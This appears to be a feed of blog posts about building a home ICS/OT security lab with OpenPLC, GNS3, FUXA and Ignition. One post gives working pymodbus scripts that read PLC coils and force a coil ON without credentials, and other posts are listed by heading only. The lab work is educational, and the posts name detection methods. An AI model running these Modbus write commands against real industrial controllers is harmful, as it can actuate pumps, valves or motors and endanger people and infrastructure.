High Confidence Classification: Because there was no data fluctuation or real-world sensor drift, the tool flagged the asset as a Static Device with high confidence.
The Simulation Fingerprint: A live industrial process controlling physical assets (like pumps, levels, or temperatures) exhibits continuous micro-fluctuations in its register telemetry. Because this containerized environment was idle and unmapped to a dynamic physical emulation engine, MEA caught the simulation red-handed.

Lessons Learned

Building security tools is one thing; testing them against your own infrastructure is where the reality check happens.

If your passive analyzer is throwing connection resets or broken pipes, don't immediately assume your code is broken. Check the underlying network engine layers, mind your library dependency syntax updates, and most importantly... make sure you actually turned the target PLC on.

MEA Source Code: github.com/404saint/mea

I Spent Hours Fighting a Silent Subnet Conflict to Build an Isolated ICS Security Lab (And What It Taught Me About the Linux Kernel)

404Saint — Fri, 22 May 2026 17:30:11 +0000

By RUGERO Tesla (@404Saint).

We’ve all been there. You have a free afternoon, a great idea, and a completely false sense of security about how long a deployment is going to take.

My goal for the day was simple: build a pristine, fully isolated Operational Technology (OT) and Industrial Control Systems (ICS) security sandbox on my EndeavourOS host. The blueprint in my head was beautiful: GNS3 holding a central ethernet switch, a Kali Linux VM acting as the auditor node, an OpenPLC instance simulating a programmable logic controller, and a Fuxa container hosting a custom visual HMI dashboard.

Twenty minutes, right?

Fast forward a few hours later, and I was deep in the Linux kernel virtual file system decoding hexadecimal strings over raw TCP socket structures just to figure out why my network interfaces were ghosts.

Here is the story of how a standard homelab setup turned into a masterclass in kernel routing, aggressive firewalls, and micro-container constraints—and how you can avoid the exact traps I fell into.

The Illusion of a Simple Setup

If you’ve ever worked with GNS3, you know it’s an incredible tool for virtualization. But when you mix it with Docker containers, things change. GNS3 strips away the standard Docker network daemon translation layer and binds container interface namespaces directly to its own virtual switch fabric.

I dragged my nodes onto the canvas, wired them to a central switch, and explicitly typed out what I thought was a standard static network map inside the Debian-based containers using a classic 192.168.1.X block:

auto eth0
iface eth0 inet static
    address 192.168.1.30
    netmask 255.255.255.0

I booted the canvas, fired up my Kali VM browser, typed in http://192.168.1.30:8080 to access the OpenPLC web dashboard, and... nothing.

Flat connection refused. The lab was entirely dead on arrival.

The Rabbit Hole: When the Tools Disappear

Naturally, my immediate instinct was to drop into the auxiliary terminal of the running OpenPLC node via GNS3 to check the socket statuses.

Instead of a clean bash prompt, the terminal exploded into control-character distortion. Minimalist container images don’t bundle robust interactive terminal binaries, meaning typing standard strings ended up looking like a scrambled mess: l^H^Hs^H^H.

Fine. Plan B. I dropped into my main host terminal to execute a standard docker exec command to check the listening interfaces inside the container namespace using modern replacements like ss or netstat:

sudo docker exec -it badf2aaf2595 ss -tuln

The container immediately snapped back:
OCI runtime exec failed: exec failed: unable to start container process: exec: "ss": executable file not found in $PATH

Production-grade security containers are stripped down to the bare metal to reduce attack surfaces. High-level user-space diagnostic binaries do not exist.

Going Kernel-Level

This is where the real engineering began. If the userspace utilities are missing, you go directly to the source of truth: the Linux kernel abstractions inside the /proc filesystem. I forced the container to print out its raw, active network sockets straight from the kernel:

sudo docker exec -it badf2aaf2595 cat /proc/net/tcp

The kernel spit back raw hex lines:

sl  local_address rem_address   st tx_queue rx_queue
 0: 00000000:1F90 00000000:0000 0A 00000000:00000000

Let's look at that local address string: 00000000:1F90.

00000000 translates to 0.0.0.0 (listening on all interfaces).
1F90 converted from hexadecimal to decimal is 8080.

The kernel proved that the web panel was listening inside the container namespace! But notice what was completely absent: there was no hex line ending in 01F6 (decimal 502, the standard Modbus TCP protocol socket).

This gave me a major clue: the application container was technically alive, but the Modbus protocol engine hadn't initialized yet because it was waiting for an operator to log into the web GUI and click "Start PLC". But I couldn't reach the GUI.

The Plot Twist: The Ghost in the Network Stack

I tried bridging the GNS3 network directly to my native desktop browser using a Cloud Node to bypass VirtualBox entirely. Still, total radio silence.

I opened a host terminal and typed sudo ip addr show. The moment the output printed, the entire mystery evaporated. I saw my physical network interface:

enp0s20f0u5: inet 192.168.1.100/24 ...

My actual, physical hardware home router was hosting my entire room on the 192.168.1.X block. By choosing that exact same subnet pool inside the virtual GNS3 switch canvas, I had created a catastrophic routing conflict in my host operating system's kernel.

Whenever my computer tried to route a packet to 192.168.1.30, the kernel routing tables panicked. It couldn't distinguish whether the target address belonged down the virtual GNS3 wire or out through my physical ethernet cable into my physical room. To add insult to injury, my host operating system (EndeavourOS) runs an aggressive default firewalld profile that was actively dropping untrusted cross-zone virtual bridge traffic.

The Resolution: Pure Isolation

The solution required an architectural shift. To build a pristine, conflict-free simulation space, you must separate your lab from reality.

I tore down the configuration files and completely re-mapped the virtual layout to a unique, non-overlapping private pool: 10.10.10.0/24.

Kali Auditor VM: 10.10.10.5
OpenPLC Engine: 10.10.10.30
Fuxa HMI Graphics: 10.10.10.40
Simulated Field Devices (VPCS): 10.10.10.101 and 10.10.10.102

I booted the clean topology, launched the native browser inside my Kali Linux node, and navigated to http://10.10.10.30:8080.

The web dashboard loaded instantly. I authenticated, hit the Start PLC compilation engine to trigger the runtime daemon, and dropped back out to my Kali terminal to run a definitive
verification scan:

sudo nmap -p 502,8080 10.10.10.30

The output printed a flawless victory signature:

PORT     STATE SERVICE
502/tcp  open  mbap
8080/tcp open  http-proxy

Port 502 was officially wide open on the wire. The virtual industrial plant was alive, isolated, and completely transparent to my auditor node.

Lessons from the Trenches

What started as a routine lab deployment turned into a critical reminder of how low-level systems interact:

Subnet isolation is non-negotiable: Never let your virtual lab environments mirror your physical host infrastructure.
Know your kernel mappings: When containers are stripped of diagnostic tools, knowing how to parse /proc/net/tcp directly from the kernel space is a superpower.
Beware of double-initialization: In minimal environments, rapid web UI inputs can cause underlying application binaries to spin up duplicate threads, creating internal race conditions over sockets. Slow down and verify via network scans.

Now that the networking foundation is solid, my industrial playground is ready. Next up on the roadmap is configuring custom graphic widgets in Fuxa to map live holding registers, and writing python injection scripts to interface directly with the Modbus coils.

If you want to deploy this exact sandbox for your own research without hitting the same roadblocks, I’ve documented a comprehensive, beginner-friendly UI walkthrough and a deep-dive troubleshooting ledger in the repository below:

👉 GitHub Repository: gns3-ics-security-lab

Have you ever lost an entire afternoon to a silent subnet overlap or a hidden firewall drop zone rule? Let's talk about it in the comments below!

I Wrote 10 Lines of Python and Took Control of a PLC. No Password Required.

404Saint — Mon, 18 May 2026 16:22:10 +0000

By RUGERO Tesla (@404Saint).

Before today, I had never touched industrial security. I just had a PC, some free software, and a curiosity about how critical infrastructure actually works under the hood.

What I found kind of scared me.

Let me set the scene

Power grids. Water treatment plants. Oil pipelines. Manufacturing floors. All of these run on something called an ICS — Industrial Control System. At the heart of most ICS environments is a PLC — a Programmable Logic Controller. It's basically a rugged little computer that controls physical things. Open this valve. Spin this motor. Turn on this pump.

These systems run the world. And a lot of them are shockingly easy to talk to.

I don't mean that in a theoretical way. I mean I literally sat at my Ubuntu machine, ran a Python script, and forced a PLC's output from OFF to ON — from across the network, with zero credentials, in under a minute.

Let me show you exactly how I built the lab that made that possible.

Why ICS Security is Different (and Broken)

In regular IT security, you have layers. Firewalls. Authentication. Encryption. Zero trust. People have been fighting that battle for decades and while it's far from perfect, there's at least a culture of security.

ICS is a different world entirely.

A lot of industrial protocols were designed in the 1970s and 80s. The engineers building them weren't thinking about cyberattacks, they were thinking about reliability. Getting a signal from point A to point B, fast and consistently, on a factory floor.

Modbus is the perfect example. It's one of the oldest and most widely used industrial protocols in the world. It has:

No authentication
No encryption
No authorization

If you can reach a device that speaks Modbus on the network, you can read from it and write to it. Full stop. The protocol doesn't ask who you are.

This isn't a bug. It was a design decision that made sense in 1979 when everything was air-gapped and physically isolated. The problem is that the world changed; OT networks got connected to IT networks, which got connected to the internet, but the protocols stayed the same.

That's the core of why ICS security is broken. And the best way to understand it is to see it yourself.

The Lab I Built for $0

Here's everything I used:

Tool	What it does	Cost
OpenPLC	Simulates a real PLC	Free
FUXA	Basic HMI dashboard	Free
Ignition Maker	Industry-grade SCADA/HMI	Free (Maker license)
pyModbus	Python Modbus client	Free
Wireshark	Packet capture	Free
VirtualBox	VM hypervisor	Free

My Hardware

Host Workstation: Intel i5 PC, 16GB RAM running EndeavourOS (Arch Linux)
Attacker Node: Separate physical Ubuntu machine on the same local subnet

No physical PLCs purchased. No expensive lab kit. Just software and two computers most people already have lying around.

How It's Wired Together

Here's the architecture in plain terms:

[ Attacker Machine — Ubuntu ]
          |
          | Local Network
          |
[ Host Machine — EndeavourOS ]
          |
          ├── OpenPLC (Docker) ── The "PLC"
          │        |
          │        └── FUXA (Docker) ── Basic HMI, reads the PLC
          │
          └── VirtualBox
                   |
                   └── Windows 11 VM ── Ignition ── Industry SCADA, also reads PLC

OpenPLC is our simulated PLC. It runs ladder logic and speaks Modbus/TCP on port 502. FUXA and Ignition are two different HMIs — the operator-facing dashboards that show what the PLC is doing. The attacker machine bypasses all of that entirely.

Stage 1 — Getting the PLC Running

I deployed OpenPLC via Docker, mapping the control interface and web administration ports:

docker run -d --name openplc -p 502:502 -p 8080:8080 wzy318/openplc

Port 8080 is the web interface. Port 502 is Modbus — the one that actually matters.

I loaded a simple ladder logic program, hit Start PLC, and confirmed the status said Running.

Stage 2 — Connecting the HMIs

FUXA

FUXA also runs in Docker. The trick here is that two separate Docker containers cannot talk to each other via 127.0.0.1 natively without sharing a network namespace. I had to find OpenPLC's internal bridge network IP:

docker inspect openplc | grep IPAddress

Returns something like `172.17.0.2`

Then, inside FUXA's connection parameters, I specified: 172.17.0.2:502, type Modbus TCP, and toggled Enable to ON.

Green dot. Connected.

Ignition

Ignition runs on the Windows 11 VM. Because it's isolated inside a hypervisor, I couldn't use 127.0.0.1 — I needed the host machine's actual LAN IP. I extracted it using:

ip addr show | grep "inet " | grep -v 127

Inside the Ignition Gateway web console, I mapped: Config → OPC-UA → Drivers → Create New Device → Modbus TCP Driver. I plugged in the host's LAN IP and port 502.

Status configuration: Connected.

At this point, two completely different HMIs are actively polling the exact same PLC. This reflects a realistic production environment—facilities frequently leverage redundant operator stations to track field equipment.

Stage 3 — The Attack

Here's where it gets uncomfortable.

From my Ubuntu attacker machine — a completely separate physical asset on the subnet — I installed pyModbus:

pip3 install pymodbus

First, I performed low-level reconnaissance to read the PLC's coil registers. Coils are binary outputs representing an ON or OFF state:

from pymodbus.client import ModbusTcpClient

# Connect directly to the PLC bypass target
c = ModbusTcpClient('192.168.1.100', port=502)
c.connect()

# Read the first 8 digital output coils
r = c.read_coils(address=0, count=8)
print('Coils Status:', r.bits)
c.close()

Output:

Coils Status: [False, False, False, False, False, False, False, False]

All off. I can audit the live state of an industrial system with no login, no session token, and no authorization checks.

Then, I executed the injection write command:

from pymodbus.client import ModbusTcpClient

c = ModbusTcpClient('192.168.1.100', port=502)
c.connect()

# Force the first coil to an assertive True state
c.write_coil(address=0, value=True)

# Re-verify live register array status
r = c.read_coils(address=0, count=8)
print('Coils After Manipulation:', r.bits)
c.close()

Output:

Coils After Manipulation: [True, False, False, False, False, False, False, False]

Coil 0 successfully flipped to ON.

In a real industrial facility, that specific register might map directly to a water pump, an oil valve, or a conveyor motor. I just forced it to actuate from a completely unauthorized host on the network — entirely bypassing the monitoring systems.

The scary part? The supervisory dashboards still thought everything was executing under native parameters. Nothing on the operator's display actively flagged that a raw protocol injection had overridden the logical controller.

Stage 4 — Watching It in Wireshark

I initialized Wireshark on the host workstation and isolated the interface traffic with a clean display filter:

tcp.port == 502

Re-running the manipulation script captured the raw, unencrypted execution blocks in real time: Function Code 01 (Read Coils) followed immediately by Function Code 05 (Write Single Coil).

That unencrypted protocol exchange is the exact smoking gun industrial Network Detection and Response (NDR) tools like Claroty or Dragos actively hunt for inside production subnets.

What This Actually Means

This isn't a toy exercise. The exact attack pattern demonstrated here maps directly to the foundational methodologies behind the most legendary industrial cyber weapons in history.

Stuxnet (2010): Did not target or alter the operator visual dashboards initially. Instead, it directly injected malicious payload variations into field PLCs to alter frequency generator drives, while simultaneously playing back cached, completely normal-looking telemetry to the SCADA interface. Operators watched normal screens while physical components were actively driven to catastrophic failure parameters underneath.
Oldsmar Water Treatment Attack (2021): An unauthorized entry manipulated an active HMI console to scale chemical additive targets to dangerous concentrations. While a vigilant operator manually intercepted the modification, the control layers lacked native automated validation structures to stop it.

The underlying reality remains unchanged: the protocol tier treats network accessibility as complete authentication. If you exist on an unsegmented OT network and speak native machine protocol, you are implicitly trusted.

Where to Go From Here

If this sparked your curiosity about infrastructure security, here is a clear path forward to build your skills:

Build this environment: Spin up these containers and see it live. The complete guide and script parameters are completely open-source.
Master the industrial stack: Start with Modbus/TCP, then branch into tougher operational protocols like DNP3 and OPC-UA.
Analyze threat taxonomies: Study the MITRE ATT&CK for ICS matrix to see how adversarial tactics map directly to register manipulation.
Deconstruct industry frameworks: Review compliance goals established by the ISA/IEC 62443 zone protection standard.
Architect network defense: Deploy a simulated network inside GNS3, split your layout into isolated zones, and build a proper firewall barrier to experience how defense actually works.

ICS/OT security remains one of the most critical, high-stakes, and deeply underserved areas in the global security industry. The talent gap is massive, and you don't need a multi-thousand-dollar physical lab to learn the core engineering primitives.

The alarming truth isn't that industrial infrastructure security is impossibly complex to learn. The alarming truth is how simple it is to exploit.

The complete step-by-step setup documentation, structural notes, and attack scripts are completely documented and available at github.com/404saint/ics-ot-homelab

DEV Community: 404Saint

I Started With One OPC UA `GetEndpoints` Request. Then I Found Anonymous Writes.

From GetEndpoints to ActivateSession

Walking the Address Space

AccessLevel Wasn't the Final Verdict

The Security Boundaries Were Not Universally Broken

Seeing the Protocol Instead of Just the API

The Research Repository

Building BACnet from Raw Packets: Objects, Priority Arrays, BBMDs, and Event Services

Research Environment

Phase 1 — Inspecting the BACnet Object Database

Phase 2 — Understanding Priority Array Arbitration

Phase 3 — Routing, BBMDs, and Network Infrastructure

Phase 4 — Event Services, COV, and BACnet/SC

Key Observations

Repository

Closing Remarks

Hands-On DNP3 Protocol Analysis: State Machines, Transport Mechanics, and Secure Authentication (SA v5)

Phase 1 — Reconnaissance & Internal Indication Analysis

Phase 2 — Control Execution & Select-Before-Operate Validation

Phase 3 — Administrative State Transitions

Time Synchronization

Warm Restart

Stop Application

Phase 4 — Transport Reassembly & Unsolicited Messaging

Reassembly State Validation

Unsolicited Response Processing

5. DNP3 Secure Authentication (SA v5) Verification

Walking Through the Authentication Workflow

Engineering Observations

Beyond Cyclic Polling: Objects, Classes, and Outstation State in DNP3

1. Data Abstraction: Groups, Variations, and Objects

2. Event Classes and the Internal State Machine

The Buffer Mechanism

3. Unsolicited Responses: Breaking Master-Slave Hierarchy

4. Reliability and Integrity: IIN Bytes & Confirmation Loops

Internal Indications (IIN)

The Application Confirmation Loop

Summary & Next Steps

Why Advanced Industrial Protocols Give Raw Sockets the "Silent Treatment"

1. The Anatomy of a "Silent Timeout"

2. The Trap of Library Assumptions

3. Why Automated Tools Fail in the Field

The Takeaway:

Abandoning Abstractions: Manually Crafting EtherNet/IP Packets Almost Broke Me

The Reality of the “Industrial Abstraction Layer”

The Wall: Fragmentation and State Confusion

The Breakthrough: Observing the Wire Directly

Core Takeaway

Closing Thought

Repository

Disclaimer

The Reality of Raw Sockets: When Your Packet Trace Lies and the PLC Stays Silent

1. The Trap of Protocol Assumptions (DNP3 vs. Modbus)

2. The Illusions of the Network Layer (The TCP ACK Trap)

3. Demolishing the Target (Inside the OpenPLC Logs)

4. Upgrading the Arsenal

I Removed the High-Level Frameworks and Hand-Crafted My Own Modbus TCP Toolkit From Raw Sockets

Why Modbus TCP?

The Simulation Topology

Down in the Wire: Protocol Anatomy

Phase 1: Passive Data Polling (FC03 & FC01)

Reading Holding Registers (FC03)

Reading Discrete Coils (FC01)

Phase 2: Active State Manipulation (FC06 & FC16)

Single Variable Injections (FC06)

Bulk Payload Overwrites (FC16)

Phase 3: Capability Fingerprinting & Recon

Probing for Metadata (FC43)

Phase 4: Fuzzing, Exceptions, and Memory Boundaries

Exception Isolation Under Stress

Automated Memory Boundary Discovery

An Unexpected Implementation Quirk

The Systemic Security Reality

Engineering High-Signal Detections

Exploring the Master Architecture

I Stripped Away the Vendor Software and Hand-Crafted 5 Industrial Handshakes From Scratch

The Industrial Wire Protocol Matrix

Phase 1: Modbus/TCP — The Defacto Standard

Phase 2: DNP3 — The Grid Anchor

From `GetEndpoints` to `ActivateSession`

Phase 1: Passive Data Polling (`FC03` & `FC01`)

Reading Holding Registers (`FC03`)

Reading Discrete Coils (`FC01`)

Phase 2: Active State Manipulation (`FC06` & `FC16`)

Single Variable Injections (`FC06`)

Bulk Payload Overwrites (`FC16`)

Probing for Metadata (`FC43`)